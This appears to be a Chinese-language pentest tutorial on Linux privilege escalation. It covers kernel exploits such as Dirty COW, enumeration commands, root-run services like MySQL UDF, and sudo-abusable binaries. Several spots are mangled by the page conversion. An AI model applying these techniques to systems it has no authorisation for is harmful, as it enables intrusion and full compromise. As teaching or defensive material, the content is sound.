\u901a\u8fc7\u5229\u7528Linux\u5185\u6838\u4e2d\u7684\u6f0f\u6d1e\uff0c\u6709\u65f6\u6211\u4eec\u53ef\u4ee5\u63d0\u5347\u7279\u6743\u3002\u6211\u4eec\u901a\u5e38\u9700\u8981\u4e86\u89e3\u7684\u64cd\u4f5c\u7cfb\u7edf\uff0c\u4f53\u7cfb\u7ed3\u6784\u548c\u5185\u6838\u7248\u672c\u662f\u6d4b\u8bd5\u5185\u6838\u5229\u7528\u662f\u5426\u53ef\u884c\u7684\u6d4b\u8bd5\u65b9\u6cd5\u3002<\/p>\n

\u5185\u6838\u6f0f\u6d1e\u5229\u7528\u7a0b\u5e8f\u662f\u5229\u7528\u5185\u6838\u6f0f\u6d1e\u6765\u6267\u884c\u5177\u6709\u66f4\u9ad8\u6743\u9650\u7684\u4efb\u610f\u4ee3\u7801\u7684\u7a0b\u5e8f\u3002\u6210\u529f\u7684\u5185\u6838\u5229\u7528\u901a\u5e38\u4ee5root\u547d\u4ee4\u63d0\u793a\u7b26\u7684\u5f62\u5f0f\u4e3a\u653b\u51fb\u8005\u63d0\u4f9b\u5bf9\u76ee\u6807\u7cfb\u7edf\u7684\u8d85\u7ea7\u7528\u6237\u8bbf\u95ee\u6743\u9650\u3002\u5728\u8bb8\u591a\u60c5\u51b5\u4e0b\uff0c\u5347\u7ea7\u5230Linux\u7cfb\u7edf\u4e0a\u7684\u6839\u76ee\u5f55\u5c31\u50cf\u5c06\u5185\u6838\u6f0f\u6d1e\u5229\u7528\u7a0b\u5e8f\u4e0b\u8f7d\u5230\u76ee\u6807\u6587\u4ef6\u7cfb\u7edf\uff0c\u7f16\u8bd1\u8be5\u6f0f\u6d1e\u5229\u7528\u7a0b\u5e8f\u7136\u540e\u6267\u884c\u5b83\u4e00\u6837\u7b80\u5355\u3002<\/p>\n

\u5047\u8bbe\u6211\u4eec\u53ef\u4ee5\u4ee5\u975e\u7279\u6743\u7528\u6237\u8eab\u4efd\u8fd0\u884c\u4ee3\u7801\uff0c\u8fd9\u5c31\u662f\u5185\u6838\u5229\u7528\u7684\u901a\u7528\u5de5\u4f5c\u6d41\u7a0b\u3002<\/p>\n

1.\u8bf1\u4f7f\u5185\u6838\u5728\u5185\u6838\u6a21\u5f0f\u4e0b\u8fd0\u884c\u6211\u4eec\u7684\u6709\u6548\u8d1f\u8f7d<\/p>\n

2.\u5904\u7406\u5185\u6838\u6570\u636e\uff0c\u4f8b\u5982\u8fdb\u7a0b\u7279\u67433.\u4ee5\u65b0\u7279\u6743\u542f\u52a8shell root\uff01<\/p>\n

\u8003\u8651\u5230\u8981\u6210\u529f\u5229\u7528\u5185\u6838\u5229\u7528\u653b\u51fb\uff0c\u653b\u51fb\u8005\u9700\u8981\u6ee1\u8db3\u4ee5\u4e0b\u56db\u4e2a\u6761\u4ef6\uff1a<\/strong><\/p>\n

3.\u5c06\u6f0f\u6d1e\u5229\u7528\u7a0b\u5e8f\u8f6c\u79fb\u5230\u76ee\u6807\u4e0a\u7684\u80fd\u529b<\/p>\n

4.\u5728\u76ee\u6807\u4e0a\u6267\u884c\u6f0f\u6d1e\u5229\u7528\u7a0b\u5e8f\u7684\u80fd\u529b<\/p>\n

\u62b5\u5fa1\u5185\u6838\u6f0f\u6d1e\u7684\u6700\u7b80\u5355\u65b9\u6cd5\u662f\u4fdd\u6301\u5185\u6838\u7684\u4fee\u8865\u548c\u66f4\u65b0\u3002\u5728\u6ca1\u6709\u8865\u4e01\u7684\u60c5\u51b5\u4e0b\uff0c\u7ba1\u7406\u5458\u53ef\u4ee5\u6781\u5927\u5730\u5f71\u54cd\u5728\u76ee\u6807\u4e0a\u8f6c\u79fb\u548c\u6267\u884c\u6f0f\u6d1e\u5229\u7528\u7684\u80fd\u529b\u3002\u8003\u8651\u5230\u8fd9\u4e9b\u56e0\u7d20\uff0c\u5982\u679c\u7ba1\u7406\u5458\u53ef\u4ee5\u963b\u6b62\u5c06\u5229\u7528\u7a0b\u5e8f\u5f15\u5165\u548c\/\u6216\u6267\u884c\u5230Linux\u6587\u4ef6\u7cfb\u7edf\u4e0a\uff0c\u5219\u5185\u6838\u5229\u7528\u7a0b\u5e8f\u653b\u51fb\u5c06\u4e0d\u518d\u53ef\u884c\u3002\u56e0\u6b64\uff0c\u7ba1\u7406\u5458\u5e94\u4e13\u6ce8\u4e8e\u9650\u5236\u6216\u5220\u9664\u652f\u6301\u6587\u4ef6\u4f20\u8f93\u7684\u7a0b\u5e8f\uff0c\u4f8b\u5982FTP\uff0cTFTP\uff0cSCP\uff0cwget\u548ccurl\u3002\u5f53\u9700\u8981\u8fd9\u4e9b\u7a0b\u5e8f\u65f6\uff0c\u5b83\u4eec\u7684\u4f7f\u7528\u5e94\u9650\u4e8e\u7279\u5b9a\u7684\u7528\u6237\uff0c\u76ee\u5f55\uff0c\u5e94\u7528\u7a0b\u5e8f\uff08\u4f8b\u5982SCP\uff09\u548c\u7279\u5b9a\u7684IP\u5730\u5740\u6216\u57df\u3002<\/p>\n

\u4e00\u4e9b\u57fa\u672c\u547d\u4ee4\u6536\u96c6\u4e00\u4e9bLinux\u5185\u6838\u4fe1\u606f<\/p>\n

\n\n\n\n\n\n\n\n\n\n\n\n\n\n
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\u547d\u4ee4<\/p>\n<\/div>\n<\/th>\n
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\u7ed3\u679c<\/p>\n<\/div>\n<\/th>\n
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uname -a<\/p>\n<\/div>\n<\/td>\n
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\u6253\u5370\u6240\u6709\u53ef\u7528\u7684\u7cfb\u7edf\u4fe1\u606f<\/p>\n<\/div>\n<\/td>\n
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uname -m<\/p>\n<\/div>\n<\/td>\n
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Linux\u5185\u6838\u4f53\u7cfb\u7ed3\u6784\uff0832\u621664\u4f4d\uff09<\/p>\n<\/div>\n<\/td>\n
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uname -r<\/p>\n<\/div>\n<\/td>\n
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\u5185\u6838\u53d1\u5e03<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n
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uname -n\u8981\u4e48hostname<\/p>\n<\/div>\n<\/td>\n
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\u7cfb\u7edf\u4e3b\u673a\u540d<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
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cat \/proc\/version<\/p>\n<\/div>\n<\/td>\n
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\u5185\u6838\u4fe1\u606f<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n
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cat \/etc\/*-release\u8981\u4e48cat \/etc\/issue<\/p>\n<\/div>\n<\/td>\n
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\u53d1\u884c\u4fe1\u606f<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
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cat \/proc\/cpuinfo<\/p>\n<\/div>\n<\/td>\n
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CPU\u4fe1\u606f<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
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df -a<\/p>\n<\/div>\n<\/td>\n
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\u6587\u4ef6\u7cfb\u7edf\u4fe1\u606f<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n
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<\/p>\n<\/div>\n<\/td>\n<\/tr>\n
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dpkg \u2014list 2>\/dev\/null<\/p>\n<\/div>\n<\/td>\n
\n
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grep compiler<\/p>\n<\/div>\n<\/td>\n
\n
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grep -v decompiler 2>\/dev\/null && yum list installed \u2018gcc*\u2019 2>\/dev\/null<\/p>\n<\/div>\n<\/td>\n
\n
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grep gcc 2>\/dev\/null<\/p>\n<\/div>\n<\/td>\n
\n
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\u5217\u51fa\u53ef\u7528\u7684\u7f16\u8bd1\u5668<\/p>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n
\u641c\u7d22\u6f0f\u6d1e<\/strong><\/p>\n
site:exploit-db.com kernel version python linprivchecker.py extended<\/p>\n
\u901a\u8fc7\u810f\u725b\uff08**CVE-2016-5195**\uff09\u5229\u7528\u6613\u53d7\u653b\u51fb\u7684\u673a\u5668 $w<\/span><\/span>h<\/span><\/span>o<\/span><\/span>a<\/span><\/span>m<\/span><\/span>i<\/span><\/span>\u547d<\/span><\/span><\/span><\/span><\/span>\u4ee4<\/span><\/span><\/span><\/span><\/span>\u2013<\/span><\/span>\u544a<\/span><\/span><\/span><\/span><\/span>\u8bc9<\/span><\/span><\/span><\/span><\/span>\u6211<\/span><\/span><\/span><\/span><\/span>\u4eec<\/span><\/span><\/span><\/span><\/span>$
\u5176\u4ed6\u5185\u6838\u63d0\u6743<\/strong><\/p>\n
https:\/\/github.com\/dirtycow\/dirtycow.github.io\/wiki\/PoCs<\/p>\n
\u5bf9\u4e8e\u4e0d\u540c\u7684\u5185\u6838\u548c\u64cd\u4f5c\u7cfb\u7edf\uff0c\u53ef\u4ee5\u516c\u5f00\u83b7\u5f97\u8bb8\u591a\u4e0d\u540c\u7684\u672c\u5730\u7279\u6743\u5347\u7ea7\u6f0f\u6d1e\u3002\u662f\u5426\u53ef\u4ee5\u4f7f\u7528\u5185\u6838\u5229\u7528\u6f0f\u6d1e\u5728Linux\u4e3b\u673a\u4e0a\u83b7\u5f97root\u8bbf\u95ee\u6743\u9650\uff0c\u53d6\u51b3\u4e8e\u5185\u6838\u662f\u5426\u6613\u53d7\u653b\u51fb\u3002Kali Linux\u5177\u6709exploit-db\u6f0f\u6d1e\u7684\u672c\u5730\u526f\u672c\uff0c\u8fd9\u4f7f\u641c\u7d22\u672c\u5730\u6839\u6f0f\u6d1e\u66f4\u52a0\u5bb9\u6613\u3002\u6211\u4e0d\u5efa\u8bae\u5728\u641c\u7d22Linux\u5185\u6838\u6f0f\u6d1e\u65f6\u5b8c\u5168\u4f9d\u8d56\u6b64\u6570\u636e\u5e93\u3002<\/p>\n
\u907f\u514d\u4e00\u5f00\u59cb\u5c31\u5229\u7528\u4efb\u4f55\u672c\u5730\u7279\u6743\u5347\u7ea7\u6f0f\u6d1e<\/strong><\/h4>\n
\u5982\u679c\u53ef\u4ee5\u907f\u514d\uff0c\u8bf7\u4e0d\u8981\u4f7f\u7528\u5185\u6838\u6f0f\u6d1e\u5229\u7528\u3002\u5982\u679c\u4f7f\u7528\u5b83\uff0c\u53ef\u80fd\u4f1a\u4f7f\u8ba1\u7b97\u673a\u5d29\u6e83\u6216\u4f7f\u5176\u5904\u4e8e\u4e0d\u7a33\u5b9a\u72b6\u6001\u3002\u56e0\u6b64\uff0c\u5185\u6838\u6f0f\u6d1e\u5229\u7528\u5e94\u8be5\u662f\u6700\u540e\u7684\u624b\u6bb5\u3002<\/p>\n
0x004 linux\u63d0\u6743-\u5229\u7528\u4ee5root\u6743\u9650\u8fd0\u884c\u7684\u670d\u52a1<\/strong><\/h2>\n
\u63cf\u8ff0<\/strong><\/p>\n
\u8457\u540d\u7684EternalBlue\u548cSambaCry\u6f0f\u6d1e\u5229\u7528\u4e86\u4ee5root\u8eab\u4efd\u8fd0\u884c\u7684smb\u670d\u52a1\u3002\u7531\u4e8e\u5b83\u7684\u81f4\u547d\u7ec4\u5408\uff0c\u5b83\u88ab\u5e7f\u6cdb\u7528\u4e8e\u5728\u5168\u7403\u8303\u56f4\u5185\u4f20\u64ad\u52d2\u7d22\u8f6f\u4ef6\u3002<\/p>\n
\u8fd9\u91cc\u7684\u624b\u6cd5\u662f\uff0c\u5982\u679c\u7279\u5b9a\u670d\u52a1\u4ee5root\u7528\u6237\u8eab\u4efd\u8fd0\u884c\uff0c\u5e76\u4e14\u6211\u4eec\u53ef\u4ee5\u4f7f\u8be5\u670d\u52a1\u6267\u884c\u547d\u4ee4\uff0c\u5219\u53ef\u4ee5root\u7528\u6237\u8eab\u4efd\u6267\u884c\u547d\u4ee4\u3002<\/p>\n
\u6211\u4eec\u53ef\u4ee5\u91cd\u70b9\u68c0\u67e5Web\u670d\u52a1\uff0c\u90ae\u4ef6\u670d\u52a1\uff0c\u6570\u636e\u5e93\u670d\u52a1\u7b49\u662f\u5426\u4ee5root\u7528\u6237\u8eab\u4efd\u8fd0\u884c\u3002\u5f88\u591a\u65f6\u5019\uff0c\u8fd0\u7ef4\u90fd\u4ee5root\u7528\u6237\u8eab\u4efd\u8fd0\u884c\u8fd9\u4e9b\u670d\u52a1\uff0c\u800c\u5ffd\u7565\u4e86\u5b83\u53ef\u80fd\u5f15\u8d77\u7684\u5b89\u5168\u95ee\u9898\u3002\u53ef\u80fd\u6709\u4e00\u4e9b\u670d\u52a1\u5728\u672c\u5730\u8fd0\u884c\uff0c\u800c\u6ca1\u6709\u516c\u5f00\u66b4\u9732\u51fa\u6765\uff0c\u4f46\u662f\u4e5f\u53ef\u4ee5\u5229\u7528\u3002<\/p>\n
netstat -antup \u663e\u793a\u6240\u6709\u6253\u5f00\u5e76\u6b63\u5728\u76d1\u542c\u7684\u7aef\u53e3\u3002\u6211\u4eec\u53ef\u4ee5\u68c0\u67e5\u5728\u672c\u5730\u8fd0\u884c\u7684\u670d\u52a1\u662f\u5426\u53ef\u4ee5\u88ab\u5229\u7528\u3002<\/p>\n
ps aux \u5217\u51fa\u54ea\u4e9b\u8fdb\u7a0b\u6b63\u5728\u8fd0\u884c<\/p>\n
ps -aux | grep root \u5217\u51fa\u4ee5root\u8eab\u4efd\u8fd0\u884c\u7684\u670d\u52a1\u3002<\/p>\n
\u5728<\/strong>Matesploits\u4e2d<\/strong><\/p>\n
ps \u68c0\u67e5\u54ea\u4e9b\u8fdb\u7a0b\u6b63\u5728\u8fd0\u884c<\/p>\n
\u5229\u7528\u4ee5<\/strong>root\u7528\u6237\u8eab\u4efd\u8fd0\u884c\u7684\u6613\u53d7\u653b\u51fb\u7684<\/strong>MySQL\u7248\u672c\u6765\u83b7\u5f97<\/strong>root\u7528\u6237\u8bbf\u95ee\u6743\u9650<\/strong><\/p>\n
MySQL UDF\u52a8\u6001\u5e93\u6f0f\u6d1e\u5229\u7528\u53ef\u8ba9\u6211\u4eec\u4ecemysql shell\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002\u5982\u679cmysql\u4ee5root\u7279\u6743\u8fd0\u884c\uff0c\u5219\u547d\u4ee4\u5c06\u4ee5root\u8eab\u4efd\u6267\u884c\u3002<\/p>\n
ps -aux | grep root \u5217\u51fa\u4ee5root\u8eab\u4efd\u8fd0\u884c\u7684\u670d\u52a1\u3002<\/p>\n
\n
$\"\u901a\u8fc7\u672c\u6587\u5403\u900flinux\u63d0\u53d6\u63d2\u56fe\"$ <\/div>\n<\/figure>\n
\u53ef\u4ee5\u770b\u5230mysql\u670d\u52a1\u4ee5root\u7528\u6237\u7ec4\u8fd0\u884c\uff0c\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5c06\u4f5c\u4e3aroot\u7528\u6237\u6267\u884c\u7684MySQL Shell\u6267\u884c\u4efb\u610f\u547d\u4ee4\u3002<\/strong><\/p>\n
\n
$\"\u901a\u8fc7\u672c\u6587\u5403\u900flinux\u63d0\u53d6\u63d2\u56fe1\"$ <\/div>\n<\/figure>\n
\u62e5\u6709root\u6743\u9650\u7684\u7a0b\u5e8f\u7684\u4e8c\u8fdb\u5236\u6f0f\u6d1e\u5229\u7528\u8fdc\u6ca1\u6709\u5185\u6838\u6f0f\u6d1e\u5229\u7528\u5371\u9669\uff0c\u56e0\u4e3a\u5373\u4f7f\u670d\u52a1\u5d29\u6e83\uff0c\u4e3b\u673a\u4e5f\u4e0d\u4f1a\u5d29\u6e83\uff0c\u5e76\u4e14\u670d\u52a1\u53ef\u80fd\u4f1a\u81ea\u52a8\u91cd\u542f\u3002<\/p>\n
\u9632\u5fa1<\/strong><\/p>\n
\u9664\u975e\u771f\u6b63\u9700\u8981\uff0c\u5426\u5219\u5207\u52ff\u4ee5root\u7528\u6237\u8eab\u4efd\u8fd0\u884c\u4efb\u4f55\u670d\u52a1\uff0c\u5c24\u5176\u662fWeb\uff0c\u6570\u636e\u5e93\u548c\u6587\u4ef6\u670d\u52a1\u5668\u3002<\/p>\n
0x005 linux\u63d0\u6743\u2014\u6ee5\u7528SUDO<\/strong><\/h2>\n
\u5728\u6e17\u900f\u4e2d\uff0c\u6211\u4eec\u62ff\u5230\u7684webshell\u548c\u53cd\u5f39\u56de\u6765\u7684shell\u6743\u9650\u53ef\u80fd\u90fd\u4e0d\u9ad8\uff0c\u5982\u679c\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528sudo\u547d\u4ee4\u8bbf\u95ee\u67d0\u4e9b\u7a0b\u5e8f\uff0c\u5219\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528sudo<\/strong>\u53ef\u4ee5\u5347\u7ea7\u7279\u6743\u3002\u5728\u8fd9\u91cc\uff0c\u6211\u663e\u793a\u4e86\u4e00\u4e9b\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u8fd9\u4e9b\u6587\u4ef6\u53ef\u4ee5\u5e2e\u52a9\u60a8\u4f7f\u7528sudo\u547d\u4ee4\u63d0\u5347\u7279\u6743\u3002\u4f46\u662f\u5728\u7279\u6743\u5347\u7ea7\u4e4b\u524d\uff0c\u8ba9\u6211\u4eec\u4e86\u89e3\u4e00\u4e9bsudoer\u6587\u4ef6\u8bed\u6cd5\uff0csudo\u547d\u4ee4\u662f\u4ec0\u4e48\uff1f;\uff09\u3002<\/p>\n
\n
\u4ec0\u4e48\u662fSUDO\uff1f<\/li>\n
Sudoer\u6587\u4ef6\u8bed\u6cd5\u3002<\/li>\n
\u5229\u7528SUDO\u7528\u6237<\/li>\n<\/ol>\n
\n
\/usr\/bin\/find<\/li>\n
\/usr\/bin\/nano<\/li>\n
\/usr\/bin\/vim<\/li>\n
\/usr\/bin\/man<\/li>\n
\/usr\/bin\/awk<\/li>\n
\/usr\/bin\/less<\/li>\n
\/usr\/bin\/nmap ( \u2013interactive and \u2013script method)<\/li>\n
\/bin\/more<\/li>\n
\/usr\/bin\/wget<\/li>\n
\/usr\/sbin\/apache2<\/li>\n<\/ul>\n
\u4ec0\u4e48\u662fSUDO ??<\/strong><\/h3>\n
sudo\u662flinux\u7cfb\u7edf\u7ba1\u7406\u6307\u4ee4\uff0c\u662f\u5141\u8bb8\u7cfb\u7edf\u7ba1\u7406\u5458\u8ba9\u666e\u901a\u7528\u6237\u6267\u884c\u4e00\u4e9b\u6216\u8005\u5168\u90e8\u7684root\u547d\u4ee4\u7684\u4e00\u4e2a\u5de5\u5177\uff0c\u5982halt\uff0creboot\uff0csu\u7b49\u7b49\u3002\u8fd9\u6837\u4e0d\u4ec5\u51cf\u5c11\u4e86root\u7528\u6237\u7684\u767b\u5f55 \u548c\u7ba1\u7406\u65f6\u95f4\uff0c\u540c\u6837\u4e5f\u63d0\u9ad8\u4e86\u5b89\u5168\u6027\u3002sudo\u4e0d\u662f\u5bf9shell\u7684\u4e00\u4e2a\u4ee3\u66ff\uff0c\u5b83\u662f\u9762\u5411\u6bcf\u4e2a\u547d\u4ee4\u7684\u3002<\/p>\n
\u57fa\u7840<\/p>\n
\u5b83\u7684\u7279\u6027\u4e3b\u8981\u6709\u8fd9\u6837\u51e0\u70b9\uff1a<\/p>\n
\n
sudo\u80fd\u591f\u9650\u5236\u7528\u6237\u53ea\u5728\u67d0\u53f0\u4e3b\u673a\u4e0a\u8fd0\u884c\u67d0\u4e9b\u547d\u4ee4\u3002<\/li>\n
sudo\u63d0\u4f9b\u4e86\u4e30\u5bcc\u7684\u65e5\u5fd7\uff0c\u8be6\u7ec6\u5730\u8bb0\u5f55\u4e86\u6bcf\u4e2a\u7528\u6237\u5e72\u4e86\u4ec0\u4e48\u3002\u5b83\u80fd\u591f\u5c06\u65e5\u5fd7\u4f20\u5230\u4e2d\u5fc3\u4e3b\u673a\u6216\u8005\u65e5\u5fd7\u670d\u52a1\u5668\u3002<\/li>\n
sudo\u4f7f\u7528\u65f6\u95f4\u6233\u6587\u4ef6\u6765\u6267\u884c\u7c7b\u4f3c\u7684\u201c\u68c0\u7968\u201d\u7cfb\u7edf\u3002\u5f53\u7528\u6237\u8c03\u7528sudo\u5e76\u4e14\u8f93\u5165\u5b83\u7684\u5bc6\u7801\u65f6\uff0c\u7528\u6237\u83b7\u5f97\u4e86\u4e00\u5f20\u5b58\u6d3b\u671f\u4e3a5\u5206\u949f\u7684\u7968\uff08\u8fd9\u4e2a\u503c\u53ef\u4ee5\u5728\u7f16\u8bd1\u7684\u65f6\u5019\u6539\u53d8\uff09\u3002<\/li>\n
sudo\u7684\u914d\u7f6e\u6587\u4ef6\u662fsudoers\u6587\u4ef6\uff0c\u5b83\u5141\u8bb8\u7cfb\u7edf\u7ba1\u7406\u5458\u96c6\u4e2d\u7684\u7ba1\u7406\u7528\u6237\u7684\u4f7f\u7528\u6743\u9650\u548c\u4f7f\u7528\u7684\u4e3b\u673a\u3002\u5b83\u6240\u5b58\u653e\u7684\u4f4d\u7f6e\u9ed8\u8ba4\u662f\u5728\/etc\/sudoers\uff0c\u5c5e\u6027\u5fc5\u987b\u4e3a0440\u3002<\/li>\n<\/ul>\n
\u5728sudo\u4e8e1980\u5e74\u524d\u540e\u88ab\u5199\u51fa\u4e4b\u524d\uff0c\u4e00\u822c\u7528\u6237\u7ba1\u7406\u7cfb\u7edf\u7684\u65b9\u5f0f\u662f\u5229\u7528su\u5207\u6362\u4e3a\u8d85\u7ea7\u7528\u6237\u3002\u4f46\u662f\u4f7f\u7528su\u7684\u7f3a\u70b9\u4e4b\u4e00\u5728\u4e8e\u5fc5\u987b\u8981\u5148\u544a\u77e5\u8d85\u7ea7\u7528\u6237\u7684\u5bc6\u7801\u3002<\/p>\n
sudo\u4f7f\u4e00\u822c\u7528\u6237\u4e0d\u9700\u8981\u77e5\u9053\u8d85\u7ea7\u7528\u6237\u7684\u5bc6\u7801\u5373\u53ef\u83b7\u5f97\u6743\u9650\u3002\u9996\u5148\u8d85\u7ea7\u7528\u6237\u5c06\u666e\u901a\u7528\u6237\u7684\u540d\u5b57\u3001\u53ef\u4ee5\u6267\u884c\u7684\u7279\u5b9a\u547d\u4ee4\u3001\u6309\u7167\u54ea\u79cd\u7528\u6237\u6216\u7528\u6237\u7ec4\u7684\u8eab\u4efd\u6267\u884c\u7b49\u4fe1\u606f\uff0c\u767b\u8bb0\u5728\u7279\u6b8a\u7684\u6587\u4ef6\u4e2d\uff08\u901a\u5e38\u662f\/etc\/sudoers\uff09\uff0c\u5373\u5b8c\u6210\u5bf9\u8be5\u7528\u6237\u7684\u6388\u6743\uff08\u6b64\u65f6\u8be5\u7528\u6237\u79f0\u4e3a\u201csudoer\u201d\uff09\uff1b\u5728\u4e00\u822c\u7528\u6237\u9700\u8981\u53d6\u5f97\u7279\u6b8a\u6743\u9650\u65f6\uff0c\u5176\u53ef\u5728\u547d\u4ee4\u524d\u52a0\u4e0a\u201csudo\u201d\uff0c\u6b64\u65f6sudo\u5c06\u4f1a\u8be2\u95ee\u8be5\u7528\u6237\u81ea\u5df1\u7684\u5bc6\u7801\uff08\u4ee5\u786e\u8ba4\u7ec8\u7aef\u673a\u524d\u7684\u662f\u8be5\u7528\u6237\u672c\u4eba\uff09\uff0c\u56de\u7b54\u540e\u7cfb\u7edf\u5373\u4f1a\u5c06\u8be5\u547d\u4ee4\u7684\u8fdb\u7a0b\u4ee5\u8d85\u7ea7\u7528\u6237\u7684\u6743\u9650\u8fd0\u884c\u3002\u4e4b\u540e\u7684\u4e00\u6bb5\u65f6\u95f4\u5185\uff08\u9ed8\u8ba4\u4e3a5\u5206\u949f\uff0c\u53ef\u5728\/etc\/sudoers\u81ea\u5b9a\u4e49\uff09\uff0c\u4f7f\u7528sudo\u4e0d\u9700\u8981\u518d\u6b21\u8f93\u5165\u5bc6\u7801\u3002<\/p>\n
\u7531\u4e8e\u4e0d\u9700\u8981\u8d85\u7ea7\u7528\u6237\u7684\u5bc6\u7801\uff0c\u90e8\u5206Unix\u7cfb\u7edf\u751a\u81f3\u5229\u7528sudo\u4f7f\u4e00\u822c\u7528\u6237\u53d6\u4ee3\u8d85\u7ea7\u7528\u6237\u4f5c\u4e3a\u7ba1\u7406\u5e10\u53f7\uff0c\u4f8b\u5982Ubuntu\u3001Mac OS X\u7b49\u3002<\/p>\n
\u53c2\u6570\u8bf4\u660e<\/strong>\uff1a<\/p>\n
\n
-V \u663e\u793a\u7248\u672c\u7f16\u53f7<\/li>\n
-h \u4f1a\u663e\u793a\u7248\u672c\u7f16\u53f7\u53ca\u6307\u4ee4\u7684\u4f7f\u7528\u65b9\u5f0f\u8bf4\u660e<\/li>\n
-l \u663e\u793a\u51fa\u81ea\u5df1\uff08\u6267\u884c sudo \u7684\u4f7f\u7528\u8005\uff09\u7684\u6743\u9650<\/li>\n
-v \u56e0\u4e3a sudo \u5728\u7b2c\u4e00\u6b21\u6267\u884c\u65f6\u6216\u662f\u5728 N \u5206\u949f\u5185\u6ca1\u6709\u6267\u884c\uff08N \u9884\u8bbe\u4e3a\u4e94\uff09\u4f1a\u95ee\u5bc6\u7801\uff0c\u8fd9\u4e2a\u53c2\u6570\u662f\u91cd\u65b0\u505a\u4e00\u6b21\u786e\u8ba4\uff0c\u5982\u679c\u8d85\u8fc7 N \u5206\u949f\uff0c\u4e5f\u4f1a\u95ee\u5bc6\u7801<\/li>\n
-k \u5c06\u4f1a\u5f3a\u8feb\u4f7f\u7528\u8005\u5728\u4e0b\u4e00\u6b21\u6267\u884c sudo \u65f6\u95ee\u5bc6\u7801\uff08\u4e0d\u8bba\u6709\u6ca1\u6709\u8d85\u8fc7 N \u5206\u949f\uff09<\/li>\n
-b \u5c06\u8981\u6267\u884c\u7684\u6307\u4ee4\u653e\u5728\u80cc\u666f\u6267\u884c<\/li>\n
-p prompt \u53ef\u4ee5\u66f4\u6539\u95ee\u5bc6\u7801\u7684\u63d0\u793a\u8bed\uff0c\u5176\u4e2d %u \u4f1a\u4ee3\u6362\u4e3a\u4f7f\u7528\u8005\u7684\u5e10\u53f7\u540d\u79f0\uff0c %h \u4f1a\u663e\u793a\u4e3b\u673a\u540d\u79f0<\/li>\n
-u username\/#uid \u4e0d\u52a0\u6b64\u53c2\u6570\uff0c\u4ee3\u8868\u8981\u4ee5 root \u7684\u8eab\u4efd\u6267\u884c\u6307\u4ee4\uff0c\u800c\u52a0\u4e86\u6b64\u53c2\u6570\uff0c\u53ef\u4ee5\u4ee5 username \u7684\u8eab\u4efd\u6267\u884c\u6307\u4ee4\uff08#uid \u4e3a\u8be5 username \u7684\u4f7f\u7528\u8005\u53f7\u7801\uff09<\/li>\n
-s \u6267\u884c\u73af\u5883\u53d8\u6570\u4e2d\u7684 SHELL \u6240\u6307\u5b9a\u7684 shell \uff0c\u6216\u662f \/etc\/passwd \u91cc\u6240\u6307\u5b9a\u7684 shell<\/li>\n
-H \u5c06\u73af\u5883\u53d8\u6570\u4e2d\u7684 HOME \uff08\u5bb6\u76ee\u5f55\uff09\u6307\u5b9a\u4e3a\u8981\u53d8\u66f4\u8eab\u4efd\u7684\u4f7f\u7528\u8005\u5bb6\u76ee\u5f55\uff08\u5982\u4e0d\u52a0 -u \u53c2\u6570\u5c31\u662f\u7cfb\u7edf\u7ba1\u7406\u8005 root \uff09<\/li>\n
command \u8981\u4ee5\u7cfb\u7edf\u7ba1\u7406\u8005\u8eab\u4efd\uff08\u6216\u4ee5 -u \u66f4\u6539\u4e3a\u5176\u4ed6\u4eba\uff09\u6267\u884c\u7684\u6307\u4ee4<\/li>\n<\/ul>\n
Sudoer\u6587\u4ef6<\/strong><\/h3>\n
sudoers\u6587\u4ef6\u4e3b\u8981\u6709\u4e09\u90e8\u5206\u7ec4\u6210\uff1a<\/strong><\/h4>\n
\n
sudoers\u7684\u9ed8\u8ba4\u914d\u7f6e\uff08default\uff09\uff0c\u4e3b\u8981\u8bbe\u7f6esudo\u7684\u4e00\u4e9b\u7f3a\u7701\u503c<\/li>\n
alias\uff08\u522b\u540d\uff09\uff0c\u4e3b\u8981\u6709Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias\u3002<\/li>\n
\u5b89\u5168\u7b56\u7565\uff08\u89c4\u5219\u5b9a\u4e49\uff09\u2014\u2014\u91cd\u70b9<\/strong>\u3002<\/li>\n<\/ul>\n
\u8bed\u6cd5<\/p>\n
root ALL=(ALL) ALL<\/p>\n
\u8bf4\u660e1\uff1aroot\u7528\u6237\u53ef\u4ee5\u4ece ALL\u7ec8\u7aef\u4f5c\u4e3a ALL\uff08\u4efb\u610f\uff09\u7528\u6237\u6267\u884c\uff0c\u5e76\u8fd0\u884c ALL\uff08\u4efb\u610f\uff09\u547d\u4ee4\u3002<\/p>\n
\u7b2c\u4e00\u90e8\u5206\u662f\u7528\u6237\uff0c\u7b2c\u4e8c\u90e8\u5206\u662f\u7528\u6237\u53ef\u4ee5\u5728\u5176\u4e2d\u4f7f\u7528sudo\u547d\u4ee4\u7684\u7ec8\u7aef\uff0c\u7b2c\u4e09\u90e8\u5206\u662f\u4ed6\u53ef\u4ee5\u5145\u5f53\u7684\u7528\u6237\uff0c\u6700\u540e\u4e00\u90e8\u5206\u662f\u4ed6\u5728\u4f7f\u7528\u65f6\u53ef\u4ee5\u8fd0\u884c\u7684\u547d\u4ee4\u3002sudo<\/p>\n
touhid ALL= \/sbin\/poweroff<\/p>\n
